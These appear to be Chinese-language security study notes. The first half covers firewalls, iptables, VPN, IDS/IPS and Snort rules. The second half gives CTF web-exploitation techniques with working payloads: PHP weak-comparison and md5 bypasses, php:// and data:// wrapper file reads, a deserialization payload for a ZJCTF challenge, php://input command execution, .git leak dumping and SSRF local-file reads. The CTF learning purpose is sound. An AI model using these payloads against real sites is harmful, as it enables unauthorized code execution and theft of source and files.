  • 置于不同的网络安全域之间,对网络流量或访问行为实施访问控制的安全组件或设备。
  • 大楼的“门卫”

13.2.1.1 防火墙技术关键特性

  • 只能对流经的网络数据进行检查控制:边界部署

  • 不具备主动检测网络攻击数据能力,需合理设计安全控制策略

  • 并非“一劳永逸”的“安全最终解决方案”

13.2.1.2 功能

  • 在网络协议栈的各个层次上实施网络访问控制机制

    –网络层:包过滤

    –传输层:电路级代理

    –应用层:应用层代理/网关

  • 基本功能:控制在计算机网络中不同信任程度网络域间传送的数据流

    –检查控制进出网络的网络流量

    –防止脆弱或不安全的协议和服务

    –防止内部网络信息的外泄

    –对网络存取和访问进行监控审计

    –防火墙可以强化网络安全策略并集成其他安全防御机制

13.2.1.3 不足

  • 作为网络边界防护机制而先天无法防范的安全威胁

    –来自网络内部的安全威胁

    –通过非法外联的网络攻击

    –计算机病毒传播

  • 由于技术瓶颈问题目前还无法有效防范的安全威胁

    –针对开放服务安全漏洞的渗透攻击

    –针对网络客户端程序的渗透攻击

    –基于隐蔽通道进行通信的特洛伊木马或僵尸网络

13.2.1.4 防火墙技术类型

  • 包过滤防火墙(packet filter)

    –1988, DEC

    –网络包粒度, 工作在网络层, 主要实现形式为路由器ACL

  • 状态防火墙(stateful firewall)

    –1980s底, AT&T Bell

    –网络会话粒度,工作在传输层

    –目前防火墙最主要实现方式

  • 电路级代理技术

  • 应用层代理防火墙(application layer firewall)

    –Paper: 1990 Purdue, AT&T

    –Product: 1991 DEC

    –应用层代理,工作在应用层

13.2.1.4.1 包过滤防火墙
  • 基本的思想很简单

    –对于每个进来的包,适用一组规则,然后决定转发或者丢弃该包

    –往往配置成双向的

  • 如何过滤

    –过滤的规则以IP和传输层的头中的域(字段)为基础,包括源和目标IP地址、IP协议域、源和目标端口号

    –过滤器往往建立一组规则,根据IP包是否匹配规则中指定的条件来作出决定。

    –如果匹配到一条规则,则根据此规则决定转发或者丢弃

    –如果所有规则都不匹配,则根据缺省策略

  • 根据定义好的过滤规则审查每个数据包,过滤规则基于数据包的报头信息进行制订。

  • 报头信息中包括IP源地址、IP目标地址、传输协议(TCP、UDP、ICMP等等)、TCP/UDP目标端口、ICMP消息类型等

  • 通常在路由器上实现

    –实际上是一种网络层的访问控制机制

    –路由器ACL机制

  • 在网络层上进行监测

    –仅仅根据数据包自身包含的信息(协议头部)进行检查和过滤

    –并没有考虑连接状态信息

  • 优点:

    –实现简单

    –对用户透明

    –效率高

  • 缺点:

    –正确制定规则并不容易

    –不可能引入认证机制

13.2.1.4.2 状态防火墙
  • 状态防火墙

    –跟踪网络会话(连接)状态, 判断报文合法性

    –在网络会话粒度上匹配和实施防火墙规则

    –特性: 状态报文检查(SPI: stateful packet inspection)

  • 状态防火墙机制

    –跟踪和维护网络连接状态信息(CT: connection table)

    –TCP网络连接

    • SYN包: NEW connections
    • 经过三次握手: ESTABLISHED connections

    –UDP会话

    • 一般处理UDP包时, 马上设置为ESTABLISHED

    –在网络访问配置规则中支持对状态的匹配

  • 目前防火墙产品的主流应用技术

    –国外厂商: Check Point/Cisco/ FORTINET/Juniper…

    –国内厂商: 天融信/联想/方正/…

    –开源软件: Netfilter*/IPTables* (Linux)

13.2.1.5 防火墙产品

  • 防火墙产品类别

    –集成包过滤功能的路由器

    –基于通用操作系统的防火墙软件产品

    –软件防火墙

    –基于安全操作系统的防火墙

    –软件防火墙+硬件Box

    –硬件防火墙设备

    –硬件防火墙

  • 个人防火墙

    –Windows个人防火墙

    –天网防火墙

    –360安全卫士/瑞星

13.2.1.6 防火墙部署方法

  • 包过滤路由器

  • 双宿主堡垒主机

  • 屏蔽主机

  • 屏蔽子网

  • 几个基本概念

    –堡垒主机(Bastion Host):对外部网络暴露,同时也是内部网络用户的主要连接点

    –双宿主主机(dual-homed host):至少有两个网络接口的通用计算机系统

    –DMZ(Demilitarized Zone,非军事区或者停火区):在内部网络和外部网络之间增加的一个子网

13.2.1.6.1 包过滤路由器部署方案
  • 包过滤防火墙功能的路由器

    –内部网络和外部网络之间的唯一连接点

    –路由+ACL

  • 优势

    –成本低、易于使用

  • 缺点

    –一旦路由器被攻破,内网完全暴露

    –内部网络信息对外公开,可攻击开放的主机和服务

13.2.1.6.2 双宿主堡垒主机部署方案
  • 使用应用代理网关作为双宿主堡垒主机

    –一个使用公网IP地址连接外部网络

    –一个使用私有IP地址连接内部网络

    –由应用代理服务器程序为特定的网络应用提供代理

  • 优点:对外屏蔽内网信息、用户级身份认证和行为审计

  • 缺点:内网对外访问控制过于严格、堡垒主机安全差、,一旦堡垒主机被攻破,内网也将全面地暴露

13.2.1.6.3 屏蔽主机
  • 结合包过滤防火墙和应用层代理

    –两层安全防护

    –包过滤防火墙:网络层的访问控制

    –应用层代理堡垒主机:进行应用安全控制

  • 优势:双重安全可靠设计

  • 缺点:对外开放服务器成弱点

13.2.1.6.4 屏蔽子网
  • 屏蔽子网:DMZ区

    –应用代理及对外服务器

    –三层安全防护:外网防火墙、应用层代理、内网防火墙

13.2.1.7 Linux中的开源防火墙

  • Netfilter

    –Linux内核中的防火墙模块

    –Netfilter特性

    • 包过滤->状态报文检查
    • 灵活可扩展框架, 支持NAT网络地址转换, 提供多层API接口以支持第三方扩展

    –Netfilter功能

    • 构建防火墙, NAT共享上网, 利用NAT构建透明代理, 构建QoS或策略路由器, …
  • IPTables

    –Linux应用层的防火墙配置工具

    –ipfwadm(2.0.x) -> ipchains(2.2.x) -> iptables(2.4.x/2.6.x)

13.2.1.7.1 Netfilter/iptables的缺省规则表/链
13.2.1.7.2 Netfilter在Linux协议栈中的hook检查点
  • PREROUTING: 进入防火墙数据包, 路由转发前, 实现NAPT/DNAT
  • LOCAL INPUT: 发往本地协议栈的数据包, 实现本地安全防护
  • FORWARD: 经过防火墙转发的数据包, 实现网络流状态过滤
  • LOCAL OUTPUT: 从本地协议栈发出的数据包, 限制对外访问
  • POSTROUTING: 从防火墙发出数据包, 路由转发后, 实现SNAT
13.2.1.7.3 Netfilter的检查链和处理策略
  • Netfilter检查链

    –通过防火墙转发流量: PREROUTINGàFORWARDàPOSTROUTING

    –传入防火墙本机流量: PREROUTINGàINPUT

    –防火墙本机传出流量: OUTPUTàPOSTROUTING

  • Netfilter处理策略

    –ACCEPT: 允许数据包经过网络协议栈

    –DROP: 静默地丢弃数据包

    –QUEUE: 通过nf_queue机制将数据包传送至应用层供上层应用处理

    –STOLEN: 保持数据包直到特定条件后处理, 用于处理IP分片等

    –REPEAT: 使得数据包重新进入hook点

13.2.1.7.4 Netfilter的报文状态检查
  • 支持的网络连接状态

    –NEW: 新建连接, 连接初始报文或只看到一个方向的数据包

    –ESTABLISHED: 已建连接, 双向通讯

    –RELATED: 相关连接, 用于处理FTP等协商端口的网络协议

    –INVALD: 非法状态

  • 实现机制

    –使用hash表等实现CT表, 支持对已记录连接的快速查找

    –在PREROUTING, INPUT, POSTROUTING等hook点上注册callback函数, 用于跟踪网络连接状态

    –支持用户态程序(IPTables)灵活配置各个hook点上的防火墙规则, 对网络连接进行访问控制

13.2.1.7.5 Netfilter防火墙规则过滤
13.2.1.7.6 Iptables
  • 为用户提供了配置netfilter规则的命令行接口

    –$ iptables[-t table] command [match] [target]

  • command-规则配置动作

    –-A(添加)、-D(删除)、-P(缺省策略)、-N(新建链)、-F(清空)、-L(列举)

  • match-规则匹配条件

    –通用匹配和特定协议匹配

    –支持“与”关系

  • Target-目标操作

    –ACCEPT、DROP、REJECT、RETURN

13.2.1.7.7 Netfilter/iptables的过滤与报文状态检查机制
  • 两种策略

    (1) 设置缺省的通行策略为允许(ACCEPT),然后定义禁止的网络流量和行为;-Bad

    (2) 设置缺省的通行策略为禁止(DROP),然后定义允许的网络流量和行为;-Good

  • 静态包过滤

    –# iptables-t filter -A FORWARD -s 192.168.0.0/24 -d 192.168.1.0/24 -j ACCEPT

  • 报文状态检查

    –状态:NEW、ESTABLISHED、RELATED、INVALD

    –# iptables-t filter -A FORWARD -d [WEB_SERVER] -m state —state NEW -j ACCEPT

    –# iptables-t filter -A FORWARD -m state —state RELATED,ESTABLISHED -j ACCEPT

13.2.1.7.8 Netfilter/iptables的NAT机制
  • NAT机制类型

    –SNAT:源地址/端口NAT

    –DNAT:目的地址/端口NAT

  • NAT功能类型

    –IP伪装(masquerading):属于SNAT

    • iptables-t nat-A POSTROUTING -ieth1 -o eth0 -j MASQUERADE

    –透明代理(transparent proxying):属于DNAT

    • iptables-t nat-A PREROUTING -ieth1 -j DNAT —to 5.6.7.8

    –端口转发(port forwarding)

    • iptables-A PREROUTING -t nat-p tcp-d 1.2.3.4 —dport8080 -j DNAT —to 192.168.1.1:80

13.2.2 代理技术

  • 代理(proxy)实际上也是一种安全防护技术

    –允许客户端通过代理与网络服务进行非直接的连接

    –在代理服务器上可以进行访问控制和内容检查

  • 不同类型的代理技术

    –应用层:应用层代理(HTTP代理)

    –传输层:电路级代理(Socks代理)

    –网络层:NAT代理(NAT网关、拨号上网路由器)

13.2.2.1 应用层代理

  • 应用层代理

    –也称为应用层网关、代理服务器

    –特定应用层网络服务(HTTP/Email…)

    –MSP –Microsoft Proxy Server、Squid

  • 应用层代理优势

    –隐藏内部网络信息

    –通讯中转,严格内容审查

    –存储转发机制,在线审计

    –用户级身份认证机制

  • 应用层代理不足

    –不通用、不透明、处理速度较慢、部署代价较高

13.2.2.2 电路级代理

  • 电路级代理

    –Socks代理

    –工作在传输层

    –同时为多种不同的应用服务提供支持

  • 工作机制

    –TCP层中继

    –建立外部连接,并在连接会话间转发数据

  • 差异:通用、用户级身份认证,但无法进行细致内容审查

13.2.2.3 NAT代理-网络地址转换

  • NAT(网络地址转换)

    –允许多个用户分享少量或单一的IP地址(源NAT)

    –允许将网络服务映射到内部服务网络IP和端口(目的NAT)

  • NAT代理优势

    –方便:任意使用私有网段IP地址,无需申请,无冲突

    –安全:对外隐藏内部网络信息

13.2.3 VPN

  • VPN-虚拟专有网(Virtual Private Network)

    –利用大规模网络(如Internet)上公用链路代替物理链路构建的安全专有网络。

    –大型跨地域企业构建企业网的常用方案。

  • VPN类型

    –IPSEC VPN(网络层)

    –SSL VPN(传输层)

  • VPN产品

    –国内通常在防火墙上集成

    –专用VPN设备

  • 开源VPNOpenVPN

13.2.4 内网安全管理

  • 70%以上安全事故是由网络内部原因造成的

    –防火墙等边界安全防护不能应对

    –内网安全管理的必要性

  • 内网安全管理

    –有效地对内网终端进行安全管理和健康状态监控,从而增强内部网络的安全性

    –终端安全管理

    –终端运维管理

    –终端补丁分发管理

    –系统日志管理

13.2.5 内容安全管理(SCM)

  • 内容安全管理SCM

    –关注对网络传输内容的安全性检查

  • 网络行为监控

    –网络行为监控审计

    –绿色上网

  • 防虫墙/防病毒网关

    –防病毒、蠕虫网关

  • 垃圾邮件过滤网关

13.2.6 边界安全防御发展趋势-UTM&高性能

  • “胖”防火墙 转化为 UTM

  • UTM-统一威胁管理

  • Many features in one box

    –网络访问与控制: 防火墙, …

    –加密与身份认证: VPN, …

    –SCM: 垃圾邮件过滤, 防病毒, IDS/IPS, 上网监管, …

13.3 D:检测技术

13.3.1 入侵检测系统基本概念

  • 入侵检测(Intrusion Detection)

    –入侵检测,顾名思义,就是对入侵行为的检测与发现。

    –入侵检测即为通过对计算机网络或计算机系统中若干关键点信息的收集和分析,从中发现入侵行为的一种安全技术。

  • 入侵(Intrusion)

    –一次入侵可被定义为任何尝试破坏信息资源的保密性、完整性或可用性的行为。

  • 入侵检测系统(Intrusion Detection System)

    –实现入侵检测技术,专门用于入侵行为发现和处理的软件系统或硬件设备。

  • 防火墙VS IDS:门卫 VS 巡逻队

13.3.2 入侵检测技术的发展历程

13.3.2.1 Denning入侵检测模型

13.3.2.2 为什么Gartner说IDS已死

  • 入侵检测产品的误报、漏报和对攻击行为缺乏实时响应等问题突出,严重影响了产品发挥实际的作用。

  • Gartner认为IDS不能给网络带来附加的安全,反而会增加管理员的困扰,建议用户使用入侵防御系统(Intrusion Prevention System)即IPS来代替IDS。

  • Gartner认为只有在线的或基于主机的攻击阻止(实时拦截)才是最有效的入侵防御系统。

13.3.2.3 入侵威胁分类图

  • 入侵者分类

    –外部渗透者: 攻破外部访问控制

    –内部渗透者: 假冒者(攻破过程控制),违法者(误用访问), 秘密用户(攻破逻辑控制)

  • 检测分析模型

    –误用检测:监视违反特定规则的权限误用行为,违法者检测

    –异常检测:基于统计方法建立用户正常行为轮廓,假冒者检测

13.3.2.4 入侵检测抽象理论模型

13.3.2.5 通用入侵检测模型(CIDF)

CIDF(Common Intrusion Detection Framework,通用入侵检测模型)定义了IDS表达检测信息的标准语言以及IDS组件之间的通信协议。符合CIDF规范的IDS可以共享检测信息,相互通信,协同工作,还可以与其它系统配合实施统一的配置响应和恢复策略。

CIDF将一个入侵检测系统分为以下组件:

  • 事件产生器(Event generators):从入侵检测系统外的整个计算环境中获得事件,并以CIDF gidos格式向系统的其他部分提供此事件。事件产生器是所有IDS所需要的,同时也是可以重用的。
  • 事件分析器(Event analyzers):从其他组件接收gidos,分析得到的数据,并产生新的gidos。如分析器可以是一个轮廓特征引擎。
  • 响应单元(Response units ):是对分析结果作出作出反应的功能单元,它可以终止进程、重置连接、改变文件属性等,也可以只是简单的报警。
  • 事件数据库(Event databases):是存放各种中间和最终数据的地方的统称,它可以是复杂的数据库,也可以是简单的文本文件。

13.3.2.6 入侵检测技术评估指标

  • 检测率(True Positive)

    –攻击事件的检出效果:检测出攻击事件数和全部攻击数之比

    –漏报率(false negative) : 攻击事件没有被检测到

  • 误报率(False Positive)

    –把正常事件识别为攻击并报警

  • 检测率和误报率往往不能同时很好

    –“基调悖论(base-rate fallacy)”

    –实际的IDS的实现总是在检测率和虚警率之间徘徊,检测率高了,虚警率就会提高;同样虚警率降低了,检测率也就会降低。一般地,IDS产品会在两者中取一个折衷,并且能够进行调整,以适应不同的网络环境。

13.3.2.7 IDS准确率评判标准: ROC曲线

  • 对比ROC曲线所围成的面积

  • 林肯实验室用接收器特性(ROC,Receiver Operating Characteristic)曲线来描述IDS的性能。

    –ROC广泛用于输入不确定的系统的评估。

    –该曲线可以刻画了IDS的检测率与误报率之间的变化关系。

  • 根据一个IDS在不同的条件(在允许范围内变化的阈值,例如异常检测系统的报警门限等参数)下的误报率和检测率,分别把误报率和检测率作为横坐标和纵坐标,就可做出对应于该IDS的ROC曲线。

如果一条直线向上,然后向右以45度角延伸,就是一个非常失败的IDS,它毫无用处;相反,ROC曲线下方的区域越大,IDS的准确率越高。

如图所示,IDS B的准确性高于IDS C,类似地,IDS A在所有的IDS中具有最高的准确性。

13.3.3 入侵检测技术

  • 误用检测(misuse detection)

    –也称为基于特征的检测(signature-based detection)

    –建立起已知攻击的特征库

    –判别当前行为活动是否符合已知的攻击特征

  • 异常检测(anomaly detection)

    –也称为基于行为的检测(behavior-based detection)

    –首先建立起系统的正常模式轮廓

    –若实时获得的系统或用户的轮廓值与正常值的差异超出指定的阈值,就进行入侵报警

13.3.3.1 误用检测

  • 目前研究工作比较多,并且已经进入实用

    –建立起已有攻击的模式特征库

    –难点在于:如何做到动态更新,自适应

  • 常用技术

    –基于简单规则的模式匹配技术

    –基于专家系统的检测技术

    –基于状态转换分析的检测技术

  • 攻击特征提取

    –专家提取

    –自动提取方法(研究热点)

13.3.3.1.1 IDA工作原理——模式匹配
  • 单模式匹配

    –KMP算法 Knuth-Morris-Pratt

    –BM算法 Boyer-Moore

  • 多模式匹配

    –AC算法 Aho-Corasick

    –基于FSA(有限状态机),对文本串扫描一次就可以找出匹配的所有模式

13.3.3.1.2 正则表达式的匹配
  • 正则表达式能够用来描述符合某类句法规则的字符串集,支持描述更为广泛的负载特征,这使得其能够广泛应用于入侵检测/入侵防御、病毒检测、协议识别等系统中。

  • 构造正则表达式对应的自动机来解决正则表达式的匹配问题是流行的技术解决手段

    –基于NFA的技术易于实现,占用状态存储空间较少,但匹配速度较慢。

    –基于DFA的技术具有较快的匹配速度,但会引发状态数量呈指数增加。

13.3.3.2 异常检测

  • 比较符合安全的概念,但是实现难度较大

    –正常模式的知识库难以建立

    –难以明确划分正常模式和异常模式

  • 常用技术

    –统计方法

    –预测模式

    –神经网络

13.3.4 入侵检测系统的分类与部署

13.3.4.1 基于网络的入侵检测系统(NIDS)

IDS可以放在防火墙或者网关的后面,以网络嗅探器的形式捕获所有的对内对外的数据包。

13.3.4.2 基于审计的入侵检测系统(HIDS)

  • 安全操作系统必须具备一定的审计功能,并记录相应的安全性日志

  • 基于内核

    从操作系统的内核接收数据

  • 基于应用

    从正在运行的应用程序中收集数据

13.3.4.3 分布式入侵检测系统(DIDS)

13.3.4.4 入侵检测系统的部署位置

  • 当实际使用检测系统时,首先面临的问题就是决定应该在系统的什么位置安装检测和分析入侵行为用的感应器Sensor或检测引擎Engine。

    –对于基于主机的IDS,一般来说直接将检测代理安装在受监控的主机系统上。

    –对于基于网络的IDS,情况稍微复杂

  • IDS布局

13.3.5 入侵防御系统IPS

  • IDS与IPS

    –IDS: 旁路监听,只起到Detection机制

    –侧重低漏报率,造成误报率较高

    –对使用者技术水平要求较高,应急响应及时

  • IPS:内联模式,实时处置数据包

    –侧重低误报率(对正常业务不造成影响)

    –高效的处理性能

    –即插即用,无需使用者参与

13.3.6 著名的开源入侵检测系统-Snort

13.3.6.1 Snort概述

Snort是一个轻量级网络入侵检测系统,具有实时数据流分析和日志IP 网络数据包的功能,能够进行协议分析和内容搜索匹配,能够检测不同的攻击方式并对攻击进行实时报警。此外Snort 是一个跨平台、开放源代码的免费软件,所以Snort还具有很好的扩展性和可移植性。

13.3.6.2 Snort结构

Snort主要包括四个模块:数据包嗅探器、预处理器、检测引擎和报警输出模块。

  1. 数据包嗅探器模块

主要用来实现网络数据包捕获和解析的功能。将捕获的网络数据包按照TCP/IP协议族的不同层次进行解析。

  1. 预处理器模块

针对可疑行为检查包或者修改包以便检测引擎能对其正确解释,还可以对网络流进行标准化,以便检测引擎能够准确匹配特征。

  1. 检测引擎模块

检测引擎模块是入侵检测系统实现的核心,当数据包从预处理器送过来后,检测引擎依据预先设置的规则检查数据包,一旦发现数据包中的内容和某条规则相匹配,就通知报警模块。

  1. 报警/日志输出模块

检测引擎检查后的Snort数据需要以某种方式输出。

13.3.6.3 Snort规则结构

Snort采用基于规则的网络入侵模式搜索机制,对网络数据包进行模式匹配,从中发现入侵或恶意攻击行为。

Snort将所有已知的入侵行为以规则的形式存放在规则库中,每一条规则由规则头和规则选项两个部分组成。

规则头定义了规则的动作、所匹配网络报文的协议、源地址、目的地址、源端口及目标端口等信息;规则选项部分则包含了所要显示给用户查看的警告信息以及用来判定报文是否为攻击报文的其他信息。

Snort规则头部的主要结构如下所示。

  • 动作:当规则与包比对并符合条件时,会采取什么类型的动作。出现通常动作时产生报警或记录日志或向其他规则发出请求。
  • 协议:用来在一个特定协议的包上应用规则。
  • 地址:定义源或目的地址
  • 端口:如果协议是TCP或UDP,端口部分用来确定规则所对应的包的源及目的端口。
  • 方向:确定哪一边的地址和端口是源,哪一边是目的。

例如,下述规则在探测到TTL为100的ICMP ping包时,就会产生报警:

1
alert icmp any any -> any any (msg: "Ping with TTL=100"; ttl: 100;)

括号之前的部分叫做规则头部,括号中的部分叫做规则选项。头部依次包括下面部分:

  1. 规则的动作:在这个规则中,动作是alert(报警),就是如果符合下面的条件,就会产生一个报警。如果产生报警,默认的情况下将会记录日志。
  2. 协议:在这个规则中,协议是ICMP,也就是说这条规则仅仅对ICMP包有效,如果一个包的协议不是ICMP, Snort探测引擎就不理会这个包以节省CPU时间。
  3. 源地址和源端口:在这个例子中,它们都被设置成了any,也就是这条规则将被应用在来自任何地方的ICMP包上,当然,端口号与ICMP是没有什么关系的,仅仅和TCP和UDP有关系。
  4. 方向:用→表示从左向右的方向,表示在这个符号的左面部分是源,右面是目的,也表示规则应用在从源到目的的包上。如果是←,那么就相反。注意,也可以用<>来表示规则将应用在所有方向上。
  5. 目的地址和端口:若都是any,则表示规则并不关心它们的目的地址。在这个规则中,由于any的作用,方向段并没有实际的作用,因为它将被应用在所有方向的ICMP包上。
  6. 在括号中的选项部分表示:如果包符合TTL=100的条件就产生一条包含文字“Ping with TTL=100”的报警。TTL是IP数据包头部字段。

13.3.6.4 Snort典型规则示例

Snort规则的本质就是简单模式匹配,即通过对数据包的分析得到所需信息,用以匹配自身的规则库。

在初始化并解析规则时,分别生成四个不同的规则树:TCP、UDP、ICMP和IP,每一个规则树即一个独立的三维链表:规则头(Rule Tree Node,RTN)、规则选项(Optional Tree Node,OTN)和指向匹配函数的指针。

Snort初始化时,会根据配置文件的要求加载相应的规则。Snort对每条规则进行三次分类:协议分类、源/目标端口分类、内容类别分类。

13.4 R:响应技术

  • 计算机及网络取证技术

    –分析攻击并寻找追溯线索

    –保全并提取现场证据:法律执行部门

  • 攻击追溯和响应

    –Attacker Trace: very difficult, Step-stone attack

    –以牙还牙, 以暴制暴? –并不可取

  • 备份恢复

    –建立良好的关键数据备份习惯

    –RAID冗余磁盘阵列->冷备份->双机热备(保持业务连续性)

  • 灾难恢复

    –重要性数据的异地容灾备份:2/5的公司经历大灾难后再也不能恢复运作

14. HTTP

14.1 抓包关键点

Referer

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。Referer 常用在防盗链和防恶意请求中。传输referer需要在页面内添加相关的代码。

User-Agent

用来传输用户使用的是什么样的浏览器。有些网站为了防止爬虫,会检验User-Agent,只有当是用户访问的时候才会传输数据。

X-Forwarded-For

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。当今多数缓存服务器的用户为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下,这些代理服务器是透明代理,用户甚至不知道自己正在使用代理上网。
如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址,而非连接发起的原始IP地址,这样的代理服务器实际上充当了匿名服务提供者的角色,如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。
如果你使用透明代理上网,那么在透明代理发送给服务器端的HTTP请求中会包含x-forward-for信息
简单来说就是用来传输最原始ip地址的,阻止匿名请求的,但是可以通过抓包来修改。

小常识:网站的目录一般都在/var/www/html/

14.2 Tornado框架

Tornado框架的附属文件handler.settings中存在cookie_secret

尝试:error?msg=

14.3 备份文件

备份文件常用的后缀:.rar .zip .7z .tar.gz .bak .swp .txt .html

14.3.1 vim缓存

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。

以 index.php 为例:第一次产生的交换文件名为 .index.php.swp

再次意外退出后,将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn

14.3.2 .DS_Store文件利用

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。 (直接在URL里加上/.DS_Store)

记事本打开查找文件,放在URL上。

14.4 弱类型绕过

1
2
==		只要值相等
=== 不仅值相等还要数据类型相同

例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

#payload:/?key=123

例2:

1
2
3
4
5
6
7
8
9
10
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

#payload:/?password=404a

例3:md5绕过

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
echo "<script>window.location.replace('./levell14.php')</script>";
}
?>

(1)找出md5值都是两个0e开头的开头的。原理是php里面在做 == 的时候会先把两边的类型转成一样的,因为是0e开头,php会认为它是科学技计数法,而0的多少次方都是0。举例:QNKCDZO、s155964671a、s1091221200a。

(2)数组绕过。原理是md5等函数不能处理数组,导致函数返回Null。而Null是等于Null的,导致了绕过。 举例:a[]=1&b[]=2。做===的时候只能用数组绕过。

14.5 序列号与反序列化

1
2
3
4
5
6
serialize()		序列化
unserialize() 反序列化

O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

14.6 伪协议

1
2
3
4
5
6
7
8
9
10
php://filter用于读取源码
用法:php://filter/read=convert.base64-encode/resource=xxx

php://input用于执行php代码,需要POST请求提交数据

data://text/plain用于数据流的读取,如果传入的数据是php代码,就会执行代码
用法:data://text/plain;base64,xxxx(base64编码后的数据)

file://用于访问本地文件系统
用法:file://[文件的绝对路径]

14.6.1 data://text/plain

条件

allow_url_fopen: on

allow_url_include: on

例:[ZJCTF 2019]NiZhuanSiWei 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

要从URL中输入参数text,file和password。

data://text/plain用于数据流的读取,我们用data伪协议读出text里的内容。 一般为了绕过某些过滤都会用到base64,这里没有过滤所以可以不用。

1
2
data://text/plain,welcome to the zjctf
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

preg_match()是执行匹配正则表达式,只要文件中有出现flag字眼,都会被过滤。此php文件还包含另一个php文件useless.php,利用php://filter来进行读取php文件,而不能直接用file=useless.php读取。

1
php://filter/read=convert.base64-encode/resource=useless.php

payload:

1
/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

读取后会出现类似于乱码的东西,但其实那是base64编码,拿去解码,解出下面代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这里提示我们有个flag.php文件,我们直接就将变量file等于这个文件,构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  

class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里有个问题是为什么要序列化输出变量a呢,可能是因为在存password之前把password反序列化了,即我们存进去的密码不是我们输入的密码,而是将密码反序列化后的一串东西。所以我们要得到我们输入的密码就必须将存进去的密码序列化回来。

完整payload:

1
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

14.6.2 php://input

php://input要求allow_url_include设置为On,所以得看看phpinfo()中的allow_url_include是否为On

然后用burpsuite抓包,发送到repeater里去,将第一行设置为

1
GET /?file=php://input HTTP/1.1

在最下面设置为

1
2
#<?php system("ls /"); ?>	send,返回目录
<?php system("cat /falg_19485");?> send,返回flag

14.6.3 php://filter

参考如下:

1
https://writeup.ctfhub.com/Skill/Web/RCE/366Ttyc8tGBiCyo54pR8YR.html

14.7 请求方式

请求方式可以自定义。

1
2
GET /index.php HTTP/1.1
CTFHUB /index.php HTTP/1.1

14.8 302跳转

302跳转将包发送到repeater模块查看响应包,因为在HTTP history模块里好像看不到响应包。

查看源代码链接指向index.php,然而在URL上看跳转到了index.html,所以发生了302跳转。

cookie伪造,欺骗。直接在cookie管理器里修改。比如admin=0改为admin=1

14.10 基本认证

在HTTP中对于基础认证的一些知识,要求使用爆破的方法来获得基础认证的账号密码,之后登陆获得flag。

如何在burpsuite构造payload:

https://writeup.ctfhub.com/Skill/Web/Web%E5%89%8D%E7%BD%AE%E6%8A%80%E8%83%BD/HTTP%E5%8D%8F%E8%AE%AE/3mSzAzbGydVT74nsq1gcVj.html

15. 信息泄露

15.1 Git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

15.1.1 Log

Githack:.git泄露利用工具,可还原历史版本。

使用方法:

1
python GitHack.py http://www.example.com/.git/

15.1.2 Stash

15.1.3 Index

15.2 SVN泄露

15.3 HG泄露

16. 服务端请求伪造(SSRF)

16.1 内网访问

1
http://xxxx/?url=127.0.0.1/flag.php

小知识点,file://可以查看源码,前提要知道路径。这也是表示有SSRF漏洞的关键点。

1
?url=file:///var/www/html/flag.php

16.2 伪协议读取文件

了解伪协议:https://www.cnblogs.com/-mo-/p/11673190.html

1
2
3
4
5
6
7
8
9
10
11
file:// – 本地文件传输协议,主要用于访问本地计算机中的文件。

dict:// – 字典服务器协议,dict是基于查询相应的TCP协议。

sftp:// – SSH文件传输协议或安全文件传输协议(Secure File Transfer Protocol)是一种简单的基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。

ldap:// – 代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

tftp:// – 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。

